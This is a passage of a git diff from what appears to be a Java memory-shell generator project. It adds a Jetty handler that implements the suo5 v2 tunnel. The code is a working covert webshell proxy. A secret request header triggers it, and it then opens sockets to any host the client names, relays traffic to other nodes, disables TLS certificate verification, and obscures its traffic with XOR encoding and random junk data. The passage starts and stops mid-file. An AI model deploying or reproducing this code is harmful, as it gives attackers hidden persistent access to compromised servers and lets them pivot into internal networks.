+ conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java new file mode 100644 index 00000000..daf1c4b4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java @@ -0,0 +1,1188 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.http.HttpServletRequest; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2JettyHandler() { + } + + public Suo5v2JettyHandler(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2JettyHandler(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + new Suo5v2JettyHandler().process(request, response); + return true; + } + } catch (Throwable ignored) { + } + return false; + } + + private void process(Object request, Object response) { + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(request, response, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(response); + processFullStream(request, response, dataMap, tunId); + break; + case 0x02: + setBypassHeader(response); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + response.getClass().getMethod("setStatus", int.class).invoke(response, 403); + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); + do { + processHalfStream(request, response, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(response, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(response, new String(sidData))); + + do { + processClassic(request, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); + writeAndFlush(response, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(Object resp) throws Exception { + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(Object resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + pipeStream(conn.getInputStream(), out, false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } + + private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2JettyHandler(tunId, 1)).start(); + new Thread(new Suo5v2JettyHandler(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(Object request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { + String method = (String) request.getClass().getMethod("getMethod").invoke(request); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = 